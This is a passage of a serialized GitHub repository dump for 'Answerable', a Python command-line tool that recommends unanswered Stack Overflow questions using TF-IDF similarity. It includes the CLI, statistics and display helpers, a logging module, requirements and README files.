\".join(re.findall(r\"[\\w+_]+\", text))\n return text.lower()\n\n\ndef recommend(user_qa, feed):\n\n answered = [\n \" \".join(x[\"tags\"])\n + \" \"\n + x[\"title\"].lower()\n + \" \"\n + preprocessed_text_from_html(x[\"body\"])\n for [x, _] in user_qa\n ]\n\n unanswered = [\n \" \".join(x[\"tags\"])\n + \" \"\n + x[\"title\"].lower()\n + \" \"\n + preprocessed_text_from_html(x[\"body\"])\n for x in feed\n ]\n\n nans = len(answered)\n\n tfidf = TfidfVectorizer(stop_words=\"english\")\n\n # list of vectorized text\n tfidf_matrix = tfidf.fit_transform(answered + unanswered)\n\n # similarity matrix of each answer with the rest\n cosine_sim = linear_kernel(tfidf_matrix, tfidf_matrix)\n\n # rows: unanswered, cols: answered\n unans_similarity = cosine_sim[nans:, :nans]\n\n # index: unanswered. values: max similarity, text size and score\n max_sim = list(enumerate([max(r) for r in unans_similarity]))\n unans_sizes = [len(u.split()) for u in unanswered]\n score = [x * x * unans_sizes[i] for i, x in max_sim]\n\n # sort the indices by the value\n by_score = sorted(list(enumerate(score)), key=lambda x: x[1], reverse=True)\n\n # relation between index in feed and index of closest answered\n closest = [\n (i, np.where(np.isclose(unans_similarity[i], v))[0][0]) for i, v in max_sim\n ]\n\n # store displayable information\n b = tools.displayer.bold\n info_f = \"{}: {{}}\\n{}:{{}} {}: {{}} {}: {{}}\".format(\n b(\"Closest\"),\n b(\"Text size\"),\n b(\"Similarity\"),\n b(\"Score\"),\n )\n info = []\n for unans, ans in closest:\n info.append(\n info_f.format(\n user_qa[ans][0][\"title\"],\n unans_sizes[unans],\n f\"{100*max_sim[unans][1]:.2f}%\",\n f\"{score[unans]:.2f}\",\n )\n )\n\n # get the indexes, now sorted\n sorted_index = [x[0] for x in by_score]\n\n return sorted_index, info\n" }, { "alpha_fraction": 0.5744581818580627, "alphanum_fraction": 0.5780704021453857, "avg_line_length": 29.540925979614258, "blob_id": "e701c6dbf1f8ba29d4fc665c3ba99f0b6ef0a1f2", "content_id": "51c6617a7097a2e382bc07fe9688c70f3a2eab58", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 8582, "license_type": "permissive", "max_line_length": 147, "num_lines": 281, "path": "/answerable.py", "repo_name": "limkokholefork/Answerable", "src_encoding": "UTF-8", "text": "import re\nimport json\nimport argparse\nimport datetime\nimport textwrap\nimport importlib\n\nfrom urllib.error import URLError\n\nfrom tools import fetcher, displayer, log, spider\n\n_current_version = \"v1.1\"\n\n\ndef latest_version():\n try:\n res = spider.get(\n \"https://api.github.com/repos/MiguelMJ/Answerable/releases/latest\", 0\n )\n if res.status_code != 200:\n log.warn(\"Unable to get information from latest version\")\n return None\n latest = re.search(r\"v[\\d.]+.?\", json.loads(res.content)[\"name\"])[0]\n return latest\n except URLError:\n log.warn(\"Unable to get information from latest version\")\n return None\n\n\n_config_file = \".config\"\n\n\ndef get_user_tags(args):\n \"\"\"Return the tags if the args contain the tags file\n\n If the user used the -t option, parse the specified file. Otherwise,\n return None\n \"\"\"\n\n if args.tags is not None:\n return fetcher.get_user_tags(args.tags)\n else:\n log.log(\"No tags file provided.\")\n return None\n\n\ndef load_config(args) -> dict:\n \"\"\"Return the user configuration\n\n If the _config_file exists, return its contents. Otherwise, extract the\n the configuration from the options -u, -t and -m\n \"\"\"\n\n try:\n with open(_config_file) as fh:\n file_config = json.load(fh)\n except IOError:\n file_config = {}\n finally:\n default_config = {\"model\": \"content_based_1\"}\n cli_config = {\"user\": args.user, \"tags\": args.tags, \"model\": args.model}\n cli_config = {k: v for k, v in cli_config.items() if v is not None}\n config = {**default_config, **file_config, **cli_config}\n if config[\"user\"] is None:\n log.abort(\".config not found: provide user id with -u option\")\n return config\n\n\ndef save_config(args):\n \"\"\"Store the user configuration\n\n Create or overwrite the configuration file with the configuration extracted\n from the options -u and -t.\n \"\"\"\n\n with open(_config_file, \"w\") as fh:\n tags = get_user_tags(args)\n json.dump(\n {\"user\": args.user, \"tags\": tags, \"model\": args.model or \"content_based_1\"},\n fh,\n indent=2,\n )\n log.log(\"Configuration saved in {}\", _config_file)\n\n\ndef summary(args):\n \"\"\"Display a summary of the answered questions\"\"\"\n\n config = load_config(args)\n qa = fetcher.get_QA(config[\"user\"], force_reload=args.f)\n qa = [(q, a) for q, a in qa if a is not None]\n displayer.disp_statistics(qa)\n\n\ndef recommend(args):\n \"\"\"Recommend questions from the latest unanswered\"\"\"\n\n filtered = {\"hidden\": 0, \"closed\": 0, \"duplicate\": 0}\n\n def valid_entry(entry):\n \"\"\"Check if a entry should be taken into account\"\"\"\n\n if len(set(entry[\"tags\"]) & hide_tags) > 0:\n filtered[\"hidden\"] += 1\n return False\n if entry[\"title\"][-8:] == \"[closed]\":\n filtered[\"closed\"] += 1\n return False\n if entry[\"title\"][-11:] == \"[duplicate]\":\n filtered[\"duplicate\"] += 1\n return False\n return True\n\n def cf(x):\n \"\"\"Color a value according to its value\"\"\"\n\n return (\n displayer.fg(x, displayer.green)\n if x == 0\n else displayer.fg(x, displayer.magenta)\n )\n\n # Load configuration\n config = load_config(args)\n\n # Load the model\n try:\n model_name = config[\"model\"]\n log.log(\"Loading model {}\", displayer.fg(model_name, displayer.yellow))\n model = importlib.import_module(f\".{model_name}\", \"models\")\n log.log(\n \"Model {} succesfully loaded\", displayer.fg(model_name, displayer.green)\n )\n except ModuleNotFoundError as err:\n if err.name == f\"models.{model_name}\":\n log.abort(\"Model {} not present\", model_name)\n else:\n log.abort(\"Model {} unsatisfied dependency: {}\", model_name, err.name)\n\n # Get user info and feed\n user_qa = fetcher.get_QA(config[\"user\"], force_reload=args.f)\n if args.all or \"tags\" not in config:\n tags = \"\"\n else:\n tags = \"tag?tagnames=\"\n tags += \"%20or%20\".join(config[\"tags\"][\"followed\"]).replace(\"+\", \"%2b\")\n tags += \"&sort=newest\"\n url = \"https://stackoverflow.com/feeds/\" + tags\n try:\n feed = fetcher.get_question_feed(url, force_reload=args.F)\n if len(feed) == 0:\n raise ValueError(\"No feed returned\")\n # Filter feed from ignored tags\n hide_tags = (\n set()\n if args.all or \"tags\" not in config\n else set(config[\"tags\"][\"ignored\"])\n )\n useful_feed = [e for e in feed if valid_entry(e)]\n if len(useful_feed) == 0:\n raise ValueError(\"All feed filtered out\")\n log.log(\n \"Discarded: {} ignored | {} closed | {} duplicate\",\n cf(filtered[\"hidden\"]),\n cf(filtered[\"closed\"]),\n cf(filtered[\"duplicate\"]),\n )\n\n # Make the recommendation\n log.log(f\"Corpus size: {len(user_qa)} Feed size: {len(useful_feed)}\")\n rec_index, info = model.recommend(user_qa, useful_feed)\n selection = [useful_feed[i] for i in rec_index[: args.limit]]\n if args.info and info is None:\n log.warn(\"Info requested, but model {} returns None\", model_name)\n elif args.info and info is not None:\n info = [info[i] for i in rec_index[: args.limit]]\n displayer.disp_feed(selection, info, args.info)\n except ValueError as err:\n log.warn(err)\n log.print_advice()\n\n\ndef parse_arguments() -> argparse.Namespace:\n \"\"\"Parse the command line arguments\n\n Parse sys.argv into a Namespace, that will be used in the rest of the\n functions.\n \"\"\"\n\n parser = argparse.ArgumentParser(\n usage=\"%(prog)s COMMAND [OPTIONS]\",\n description=f\"Answerable {_current_version}\\nStack Overflow unanswered questions recommendation system\",\n formatter_class=argparse.RawDescriptionHelpFormatter,\n epilog=textwrap.dedent(\n \"\"\"\\\n Code: https://github.com/MiguelMJ/Answerable\n Documentation: in https://github.com/MiguelMJ/Answerable/wiki\n \"\"\"\n ),\n )\n parser.add_argument(\n \"command\",\n choices=(\"save\", \"summary\", \"recommend\"),\n help=\"save,summary,recommend\",\n metavar=\"COMMAND\",\n )\n parser.add_argument(\n \"-v\",\n \"--verbose\",\n help=\"show the log content in stderr too\",\n action=\"store_true\",\n )\n parser.add_argument(\n \"-i\",\n \"--info\",\n help=\"print extra info on each recomendation\",\n action=\"store_true\",\n )\n parser.add_argument(\"--no-ansi\", help=\"print without colors\", action=\"store_true\")\n parser.add_argument(\"-f\", help=\"force reload of user data\", action=\"store_true\")\n parser.add_argument(\n \"-F\", help=\"force retrieval of question feed\", action=\"store_true\"\n )\n parser.add_argument(\n \"-l\",\n \"--limit\",\n help=\"limit the number of items displayed\",\n type=int,\n default=999,\n metavar=\"N\",\n )\n parser.add_argument(\n \"-a\",\n \"--all\",\n help=\"don't use tags to filter the feed. If the user tags haven't been saved before with the <save> command, this option is on by default\",\n action=\"store_true\",\n )\n parser.add_argument(\n \"-u\", \"--user\", help=\"identifier of Stack Overflow user\", metavar=\"ID\"\n )\n parser.add_argument(\n \"-t\",\n \"--tags\",\n help=\"file with the source of the page with the user followed and ignored tags\",\n metavar=\"FILE\",\n )\n parser.add_argument(\n \"-m\",\n \"--model\",\n help=\"specify the recommendation model you want to use\",\n metavar=\"MODEL\",\n )\n args = parser.parse_args()\n if args.no_ansi:\n displayer.ansi = False\n return args\n\n\nif __name__ == \"__main__\":\n _latest_version = latest_version()\n if _latest_version is not None and _latest_version != _current_version:\n log.warn(\n f\"New version on GitHub: {_latest_version} (current is {_current_version})\"\n )\n switch = {\n \"save\": save_config,\n \"summary\": summary,\n \"recommend\": recommend,\n }\n args = parse_arguments()\n command = args.command\n\n log.add_log(\"answerable.log\")\n if args.verbose:\n log.add_stderr()\n\n log.log(displayer.bold(\"Log of {}\"), datetime.datetime.now())\n\n switch[command](args)\n\n log.close_logs()\n" }, { "alpha_fraction": 0.510869562625885, "alphanum_fraction": 0.717391312122345, "avg_line_length": 17.399999618530273, "blob_id": "4d66b52173ec53af7c8e34ddcd426a194b6dd866", "content_id": "580eb8aae1fc74ac2253c99e4b6e5900ce8675c1", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Text", "length_bytes": 92, "license_type": "permissive", "max_line_length": 21, "num_lines": 5, "path": "/requirements.txt", "repo_name": "limkokholefork/Answerable", "src_encoding": "UTF-8", "text": "requests==2.22.0\nnumpy==1.20.2\nfeedparser==6.0.2\nbeautifulsoup4==4.9.3\nscikit_learn==0.24.2\n" }, { "alpha_fraction": 0.6086165308952332, "alphanum_fraction": 0.6185275316238403, "avg_line_length": 27.413793563842773, "blob_id": "379ee00043b3ef601245c295d4a634ec0ca1c0c0", "content_id": "86720c55c45c0da728077c6d8cabade2164fbfa6", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 4944, "license_type": "permissive", "max_line_length": 83, "num_lines": 174, "path": "/tools/statistics.py", "repo_name": "limkokholefork/Answerable", "src_encoding": "UTF-8", "text": "\"\"\"Statistics Tool for Answerable\n\nThis file contains the functions used to analyze user answers.\n\"\"\"\n\n#\n# TAG RELATED METRICS (USING QA)\n#\n_tags_info = None\n\n\ndef tags_info(qa):\n \"\"\"Map each tag to its score, acceptance and count\"\"\"\n\n global _tags_info\n if _tags_info is not None:\n return _tags_info\n tags_info = {}\n for _, a in qa:\n for t in a[\"tags\"]:\n tc = tags_info.get(t, (0, 0, 0)) # (score, acceptance, count)\n tc = (tc[0] + a[\"score\"], tc[1] + a[\"is_accepted\"], tc[2] + 1)\n tags_info[t] = tc\n _tags_info = tags_info\n return tags_info\n\n\ndef top_tags_use(qa, top=5):\n \"\"\"Top tags by appearance\"\"\"\n\n tags = tags_info(qa)\n sorted_tags = sorted(tags, key=lambda x: tags[x][2], reverse=True)\n return [(x, tags[x][2]) for x in sorted_tags][:top]\n\n\ndef top_tags_score_abs(qa, top=5):\n \"\"\"Top tags by accumulated score\"\"\"\n\n tags = tags_info(qa)\n sorted_tags = sorted(tags, key=lambda x: tags[x][0], reverse=True)\n return [(x, tags[x][0]) for x in sorted_tags][:top]\n\n\ndef top_tags_acceptance_abs(qa, top=5):\n \"\"\"Top tags by accumulated acceptance\"\"\"\n\n tags = tags_info(qa)\n sorted_tags = sorted(\n tags,\n key=lambda x: tags[x][1],\n reverse=True,\n )\n return [(x, tags[x][1]) for x in sorted_tags][:top]\n\n\ndef top_tags_score_rel(qa, top=5):\n \"\"\"Top tags by score per answer\"\"\"\n\n tags = tags_info(qa)\n sorted_tags = sorted(tags, key=lambda x: tags[x][0] / tags[x][2], reverse=True)\n return [(x, tags[x][0] / tags[x][2]) for x in sorted_tags][:top]\n\n\ndef top_tags_acceptance_rel(qa, top=5):\n \"\"\"Top tags by acceptance per answer\"\"\"\n\n tags = tags_info(qa)\n sorted_tags = sorted(tags, key=lambda x: tags[x][1] / tags[x][2], reverse=True)\n return [(x, tags[x][1] / tags[x][2]) for x in sorted_tags][:top]\n\n\n#\n# ANSWER RELATED METRICS\n#\ndef top_answers(answers, top=5):\n \"\"\"Top answers by score\"\"\"\n\n return sorted(answers, key=lambda x: x[\"score\"], reverse=True)[:top]\n\n\ndef top_accepted(answers, top=5):\n \"\"\"Top accepted answers by score\"\"\"\n\n return list(\n filter(\n lambda x: x[\"is_accepted\"],\n sorted(answers, key=lambda x: x[\"score\"], reverse=True),\n )\n )[:top]\n\n\n#\n# REPUTATION RELATED METRICS\n#\ndef reputation(answer):\n \"\"\"Reputation associated to an answers\n NOT ACCURATE\n \"\"\"\n\n return answer[\"score\"] * 10 + answer[\"is_accepted\"] * 15\n\n\n_answers_sorted_reputation = None\n_total_reputation = None\n\n\ndef answers_sorted_reputation(answers):\n \"\"\"Answers sorted by associated reputation\"\"\"\n\n global _answers_sorted_reputation\n if _answers_sorted_reputation is None:\n _answers_sorted_reputation = sorted(\n answers, key=lambda x: reputation(x), reverse=True\n )\n return _answers_sorted_reputation\n\n\ndef total_reputation(answers):\n \"\"\"Total reputation gained from answers\"\"\"\n\n global _total_reputation\n if _total_reputation is None:\n _total_reputation = sum([reputation(a) for a in answers])\n return _total_reputation\n\n\ndef average_reputation_weight(answers, w):\n \"\"\"Average reputation and weight of answers generating w % reputation\"\"\"\n\n repw = total_reputation(answers) * w\n sorted_answers = answers_sorted_reputation(answers)\n acc_rep = 0\n acc_ans = 0\n while acc_rep < repw and acc_ans < len(sorted_answers):\n acc_rep += reputation(sorted_answers[acc_ans])\n acc_ans += 1\n if acc_ans == 0:\n return (0, 0)\n return (acc_rep / acc_ans, 100 * acc_ans / len(answers))\n\n\n#\n# LISTS TO SIMPLIFY CALLING\n#\ntag_metrics = [ # call with qa\n (\"Top used tags\", top_tags_use),\n (\"Top tags by accumulated score\", top_tags_score_abs),\n (\"Top tags by score per answer\", top_tags_score_rel),\n (\"Top tags by accumulated acceptance\", top_tags_acceptance_abs),\n (\"Top tags by acceptance per answer\", top_tags_acceptance_rel),\n]\nanswer_metrics_single = [ # call with answers\n (\"Answers analyzed\", len),\n (\"Total score\", lambda x: sum([a[\"score\"] for a in x])),\n (\"Average score\", lambda x: sum([a[\"score\"] for a in x]) / len(x)),\n (\"Total accepted\", lambda x: sum([a[\"is_accepted\"] for a in x])),\n (\"Acceptance ratio\", lambda x: sum([a[\"is_accepted\"] for a in x]) / len(x)),\n]\nanswer_metrics_tops = [ # call with answers\n (\"Top answers by score\", top_answers, lambda a: a[\"score\"]),\n (\"Top accepted answers by score\", top_accepted, lambda a: a[\"score\"]),\n]\nreputation_metrics_single = [ # call with answers\n (\"Total reputation\", lambda x: sum([reputation(a) for a in x])),\n (\"Average reputation\", lambda x: sum([reputation(a) for a in x]) / len(x)),\n]\nreputation_weight_metrics = ( # call with answers and weights\n [0.95, 0.80],\n average_reputation_weight,\n (\n \"Average reputation on answers generating {:.0f}% reputation\",\n \"Percentage of answers generating {:.0f}% reputation\",\n ),\n)\n" }, { "alpha_fraction": 0.6926544308662415, "alphanum_fraction": 0.7091819643974304, "avg_line_length": 41.176055908203125, "blob_id": "cd3ad699799789b500cc35438b03f8732a9b6ee8", "content_id": "ee93115fb6e8967db2c2798d9ec0d8c904042658", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 6000, "license_type": "permissive", "max_line_length": 341, "num_lines": 142, "path": "/README.md", "repo_name": "limkokholefork/Answerable", "src_encoding": "UTF-8", "text": "<p align=\"center\">\n <img src=\"doc/logo.svg\" height=\"200px\" alt=\"logo\" title=\"Answerable\">\n</p>\n<h1 align=\"center\">Answerable</h1>\n<h3 align=\"center\">Recommendation system for Stack Overflow unanswered questions</h3>\n<p align=\"center\">\n <img title=\"v1.1\" alt=\"v1.1\" src=\"https://img.shields.io/badge/version-v1.1-informational?style=flat-square\"\n <a href=\"LICENSE\">\n <img title=\"MIT License\" alt=\"license\" src=\"https://img.shields.io/badge/license-MIT-informational?style=flat-square\">\n </a>\n\t<img title=\"all-contributors\" alt=\"all-contributors\" src=\"https://img.shields.io/github/all-contributors/MiguelMJ/Answerable?color=informational&style=flat-square\">\n\t<img title=\"python3.8\" alt=\"python3.8\" src=\"https://img.shields.io/badge/python-3.8-informational?style=flat-square\">\n\t<a href=\"https://github.com/MiguelMJ/Answerable/wiki\">\n <img title=\"documentation\" alt=\"documentation\" src=\"https://img.shields.io/badge/documentation-wiki-success?style=flat-square\">\n </a>\n\t<a href=\"https://github.com/psf/black\">\n <img title=\"code style: black\" alt=\"code style: black\" src=\"https://img.shields.io/badge/code%20style-black-000000.svg?style=flat-square\">\n </a>\n</p>\n\n\nAnswerable helps you find questions to answer on Stack Overflow.\n\n**Preview**\n\n<p align=\"center\"><img src=\"doc/preview.png\" alt=\"preview\"></p>\n\n**Table of contents**\n\n<span id=\"toc\"></span>\n\n - [Quick guide](#Quick-guide30)\n - [Contributors](#contributors)\n - [Contributing](#Contributing66)\n - [To do](#To-do77)\n - [License](#License99)\n\n<h2 id=\"Quick-guide30\">Quick guide</h2> \n\n[[TOC](#toc)]\n\n- Clone the repository\n\n ```bash\n git clone https://github.com/MiguelMJ/Answerable.git\n ```\n\n- Install dependencies\n\n ```bash\n pip install -r requirements.txt\n ```\n\n- Save the user (see [how to get your relevant user information](https://github.com/MiguelMJ/Answerable/wiki/Getting_user_info))\n\n ```bash\n python answerable.py save -u ID [-t FILE]\n ```\n\n- Get information of your profile\n\n ```bash\n python answerable.py summary -u ID\n ```\n\n- Get recommendations\n\n ```bash\n python answerable.py recommend -u ID\n ```\n\n_To see a more complete guide, visit the [wiki](https://github.com/MiguelMJ/Answerable/wiki)._\n\n<h2 id=\"contributors\">Contributors</h2> \n\n[[TOC](#toc)]\n\nThanks to the people that have contributed to this project: ([emoji key](https://allcontributors.org/docs/en/emoji-key))\n\n<!-- ALL-CONTRIBUTORS-LIST:START - Do not remove or modify this section -->\n<!-- prettier-ignore-start -->\n<!-- markdownlint-disable -->\n<table>\n <tr>\n <td align=\"center\"><a href=\"https://fxgit.work\"><img src=\"https://avatars.githubusercontent.com/u/1080112?v=4?s=100\" width=\"100px;\" alt=\"\"/><br /><sub><b>Dennis Lee</b></sub></a><br /><a href=\"https://github.com/MiguelMJ/Answerable/issues?q=author%3Adennislwm\" title=\"Bug reports\">🐛</a> <a href=\"#blog-dennislwm\" title=\"Blogposts\">📝</a></td>\n <td align=\"center\"><a href=\"https://github.com/danthe1st\"><img src=\"https://avatars.githubusercontent.com/u/34687786?v=4?s=100\" width=\"100px;\" alt=\"\"/><br /><sub><b>dan1st</b></sub></a><br /><a href=\"https://github.com/MiguelMJ/Answerable/commits?author=danthe1st\" title=\"Documentation\">📖</a></td>\n </tr>\n</table>\n<!-- markdownlint-restore -->\n<!-- prettier-ignore-end -->\n\n<!-- ALL-CONTRIBUTORS-LIST:END -->\n\nThis project follows the [all-contributors](https://allcontributors.org/) specification.\n\n#### Posts\n\n- [*I made a recommendation system for Stack Overflow unanswered questions*](https://dev.to/miguelmj/i-made-a-recommendation-system-for-stack-overflow-unanswered-questions-280a) in DEV.to by MiguelMJ.\n- <a id=\"blog-dennislwm\" href=\"https://makerwork.substack.com/p/makerwork001\"><i>Makerwork 001</i></a> in Makerwork by Dennis Lee\n\n<h2 id=\"Contributing66\">Contributing</h2> \n\n[[TOC](#toc)]\n\n- Find the contributing guidelines in [CONTRIBUTING.md](CONTRIBUTING.md).\n- You can also contribute by testing the program yourself and reporting any issue [![](https://img.shields.io/github/issues/MiguelMJ/Answerable?style=social&logo=github)](https://github.com/MiguelMJ/Answerable/issues).\n- Support this project!\n\n :star: Star this repository [![](https://img.shields.io/github/stars/MiguelMJ/Answerable?style=social)](https://github.com/MiguelMJ/Answerable/stargazers).\n\n :arrow_up: Upvote it on [Stack Apps](https://stackapps.com/questions/8805/placeholder-answerable-a-recomendator-of-unanswered-questions) and comment your feedback.\n\n<h2 id=\"To-do77\">To do</h2> \n\n[[TOC](#toc)]\n\n- [ ] Allow users with too many answers choose which ones to use.\n - Use X newest, X most popular or the whole activity history (maybe add a time estimation for this last option, as it could take several minutes to retrieve it all).\n- [x] ~~Add the option to just select questions that they would like to have answered (useful for users without answer history).~~ *(Implemented, improvements required)*\n- [x] ~~Allow user defined recommendation models.~~\n- [x] ~~Make documentation for making recommendation models.~~\n- [ ] Store the last recommendations and update them instead of ignoring them in future calls.\n - Update means:\n - Remove already answered/closed/marked as duplicate ones.\n - Add the rest to the recently received, before applying the recommendation algorithm.\n- [ ] Add a command to manage the cache, instead of requiring the users to do it themselves.\n\n**Low priority**\n\n- [ ] Include the rest of the Stack Exchange communities.\n- [ ] Make a GUI.\n- [ ] Add flexible filters (Don't show questions with negative score e.g).\n- [x] ~~Display statistics about the information taken into account to make the recommendations.~~\n- [x] ~~Automatically check for new releases on GitHub.~~\n- [x] ~~Try out more learning models and integrate them.~~\n- [ ] Adapt behaviour for users with authentication token.\n\n<h2 id=\"License99\">License</h2> \n\n[[TOC](#toc)]\n\nAnswerable uses the MIT license, a copy of which you can find [here](LICENSE), in the repository.\n\n" }, { "alpha_fraction": 0.7674576044082642, "alphanum_fraction": 0.7701694965362549, "avg_line_length": 38.89189147949219, "blob_id": "e78fc7852fd3d3ee21fb74c76e68089a77b5f1bb", "content_id": "6f9a316d020748d089ccbc3ad079be3b6253bc3e", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 1475, "license_type": "permissive", "max_line_length": 219, "num_lines": 37, "path": "/models/README.md", "repo_name": "limkokholefork/Answerable", "src_encoding": "UTF-8", "text": "## `content_based_1`\n\n### Description\n\nImproved version of `content_based_0`. Not only it does better preprocessing of the text in the questions, but it also has a more complex measure of the interest of a question:\n\n- `QuestionScore = SizeOfQuestion * Similarity^2`\n\n Where:\n\n - `SizeOfSimilar` is the word count (ignoring stop words) of the question answered by the user that resembles the most to the question for which we are calculating the score.\n - `Similarity` is the dot product of the vectorized text with the most similar question (the same as before).\n\n### Information\n\nDisplay the title of the most similar question and the values of `SizeOfQuestion`, `Similarity` and `QuestionScore`.\n\n### Observations\n\n- The code chunks in the questions are ignored (they are considered noise).\n- There are extremely rare cases where the system can crash, if the question contains text that the HTML parser of BeautifulSoup can't recognise. This has only happened me once with a question about regular expressions.\n- The Similarity is squared to reduce the preference of wall of text questions. \n\n## `content_based_0`\n\n### Description\n\nModel used for the first release. It is an adaptation of the content based recommendation system from [this tutorial](https://www.datacamp.com/community/tutorials/recommender-systems-python). \n\n### Information\n\nDoesn't return any.\n\n### Observations\n\n- The system is biased to prefer shorter questions.\n- The word count is case sensitive." }, { "alpha_fraction": 0.49156808853149414, "alphanum_fraction": 0.5366222262382507, "avg_line_length": 22.508874893188477, "blob_id": "bb30f7a6a2865e25722b4006080c15974609b85a", "content_id": "d3f7686a89fd6f8e47f03a506829f9ae987ff19f", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3973, "license_type": "permissive", "max_line_length": 85, "num_lines": 169, "path": "/tools/displayer.py", "repo_name": "limkokholefork/Answerable", "src_encoding": "UTF-8", "text": "\"\"\"Displayer Tool for Answerable\n\nThis file contains the functions and variables used to present the data.\n\"\"\"\n\nimport tools.statistics as st\n\n#\n# COLOR RELATED VARIABLES AND FUNCTIONS\n#\nred = (250, 0, 0)\ngreen = (0, 250, 0)\nblue = (0, 0, 250)\n\ncyan = (0, 250, 250)\nmagenta = (250, 0, 250)\nyellow = (250, 250, 0)\n\n\"\"\"\nwhite = (250, 250, 250)\ngray1 = (200, 200, 200)\ngray2 = (150, 150, 150)\ngray3 = (100, 100, 100)\ngray4 = (50, 50, 50)\nblack = (0, 0, 0)\n\"\"\"\n\n\ndef lighten(c, r):\n dr = (250 - c[0]) * r\n dg = (250 - c[1]) * r\n db = (250 - c[2]) * r\n return (int(c[0] + dr), int(c[1] + dg), int(c[2] + db))\n\n\ndef darken(c, r):\n dr = c[0] * r\n dg = c[1] * r\n db = c[2] * r\n return (int(c[0] - dr), int(c[1] - dg), int(c[2] - db))\n\n\n\"\"\"\ndef interpolate(c, d, r):\n dr = (d[0] - c[0]) * r\n dg = (d[1] - c[1]) * r\n db = (d[2] - c[2]) * r\n return (int(c[0] + dr), int(c[1] + dg), int(c[2] + db))\n\"\"\"\n\n#\n# ANSI RELATED VARIABLES AND FUNCTIONS\n#\nansi = True\n\n\ndef bold(msg):\n if not ansi:\n return msg\n return \"\\033[1m{}\\033[0m\".format(msg)\n\n\ndef fg(msg, color):\n if not ansi:\n return msg\n return \"\\033[38;2;{:03};{:03};{:03}m{}\\033[0m\".format(\n color[0], color[1], color[2], msg\n )\n\n\ndef bg(msg, color):\n if not ansi:\n return msg\n return \"\\033[48;2;{:03};{:03};{:03}m{}\\033[0m\".format(\n color[0], color[1], color[2], msg\n )\n\n\ndef color(msg, fgc, bgc):\n return bg(fg(msg, fgc), bgc)\n\n\n#\n# DATA DISPLAY FUNCTIONS\n#\ndef disp_feed(feed, info, print_info=False):\n def title(x):\n return fg(bold(x), lighten(blue, 0.3))\n\n def tag(x):\n return fg(f\"[{x}]\", darken(cyan, 0.2))\n\n for i in range(len(feed)):\n entry = feed[i]\n print(\"o\", title(entry[\"title\"]))\n print(\" \", \" \".join(tag(t) for t in entry[\"tags\"]))\n print(\" \", entry[\"link\"])\n if print_info and info is not None:\n print(\" \", info[i].replace(\"\\n\", \"\\n \"))\n\n\ndef table(data, align=\"\"):\n cols = len(data[0])\n widths = []\n for i in range(0, cols):\n col = [x[i] for x in data]\n widths.append(max([len(str(c)) for c in col]))\n\n row_f = \" \".join([\"{{:{}{}}}\".format(align, w) for w in widths])\n for d in data:\n print(row_f.format(*d))\n\n\ndef disp_statistics(user_qa):\n\n ans_f = fg(\"{}\", lighten(blue, 0.3))\n tag_f = fg(\"[{}]\", darken(cyan, 0.2))\n val_f = bold(fg(\"{}\", green))\n\n def print_section(txt):\n print(bold(txt.upper()))\n print()\n\n def print_metric(txt):\n def mark(x):\n return bold(x)\n\n print(mark(txt))\n\n def print_answer_and_value(answer, value):\n tags = answer[\"tags\"]\n print(val_f.format(value), ans_f.format(answer[\"title\"]))\n print(\" \" * len(str(value)), \" \".join([tag_f.format(t) for t in tags]))\n\n user_answers = [a for q, a in user_qa]\n\n print_section(\"Answer metrics\")\n metrics = [\n (bold(k), val_f.format(m(user_answers))) for k, m in st.answer_metrics_single\n ]\n table(metrics)\n print()\n for (name, metric, key) in st.answer_metrics_tops:\n print_metric(name)\n results = metric(user_answers)\n for a in results:\n print_answer_and_value(a, key(a))\n print()\n\n print_section(\"Tag metrics\")\n for (name, metric) in st.tag_metrics:\n print_metric(name)\n results = metric(user_qa)\n results = [(tag_f.format(r[0]), val_f.format(r[1])) for r in results]\n table(results)\n print()\n\n print_section(\"Reputation metrics\")\n metrics = [\n (bold(k), val_f.format(m(user_answers)))\n for k, m in st.reputation_metrics_single\n ]\n table(metrics)\n print()\n for w in st.reputation_weight_metrics[0]:\n results = st.reputation_weight_metrics[1](user_answers, w)\n for i, info in enumerate(st.reputation_weight_metrics[2]):\n print_metric(info.format(w * 100))\n print(val_f.format(results[i]))\n" }, { "alpha_fraction": 0.6027790904045105, "alphanum_fraction": 0.6051748991012573, "avg_line_length": 21.440860748291016, "blob_id": "2e0410ba4861e5adba490e57d1e64163d575e572", "content_id": "5e36d27e54a5335bb17535b2aa9f553e90cccd54", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2087, "license_type": "permissive", "max_line_length": 76, "num_lines": 93, "path": "/tools/log.py", "repo_name": "limkokholefork/Answerable", "src_encoding": "UTF-8", "text": "\"\"\"Log Tool for Answerable\n\nThis file contains the functions used to log control data and debug messages\nin a unified format.\n\"\"\"\n\nimport re\nimport sys\nimport inspect\n\nfrom tools.displayer import bold, red, magenta, fg\n\n_logs = [] # list of file handlers\n_ansire = re.compile(\"\\\\033\\[[^m]+m\") # ansi escape sequences\n\n\ndef _strip_ansi(msg):\n \"\"\"Strip ansi escape sequences\"\"\"\n\n return re.sub(_ansire, \"\", msg)\n\n\ndef _get_caller():\n frm = inspect.stack()[2]\n return inspect.getmodule(frm[0]).__name__\n\n\ndef add_stderr():\n \"\"\"Add the stderr to the log file handlers\"\"\"\n\n _logs.append(sys.stderr)\n\n\ndef add_log(logfile):\n \"\"\"Open a new file and add it to the log file handlers\"\"\"\n\n _logs.append(open(logfile, \"w\"))\n\n\ndef close_logs():\n \"\"\"Close all log file handlers.\"\"\"\n\n for f in _logs:\n if f is not sys.stderr:\n f.close()\n\n\ndef advice_message():\n \"\"\"Returns the advice of where to find the full logs\"\"\"\n lognames = \", \".join([fh.name for fh in _logs if fh is not sys.stderr])\n return \"Full log in \" + lognames\n\n\ndef abort(msg, *argv):\n \"\"\"Print an error message and aborts execution\"\"\"\n\n if sys.stderr not in _logs:\n add_stderr()\n log(fg(msg, red), *argv, who=_get_caller())\n print_advice()\n close_logs()\n exit()\n\n\ndef warn(msg, *argv):\n \"\"\"Print an error message and aborts execution\"\"\"\n err_off = sys.stderr not in _logs\n if err_off:\n add_stderr()\n log(fg(msg, magenta), *argv, who=_get_caller())\n 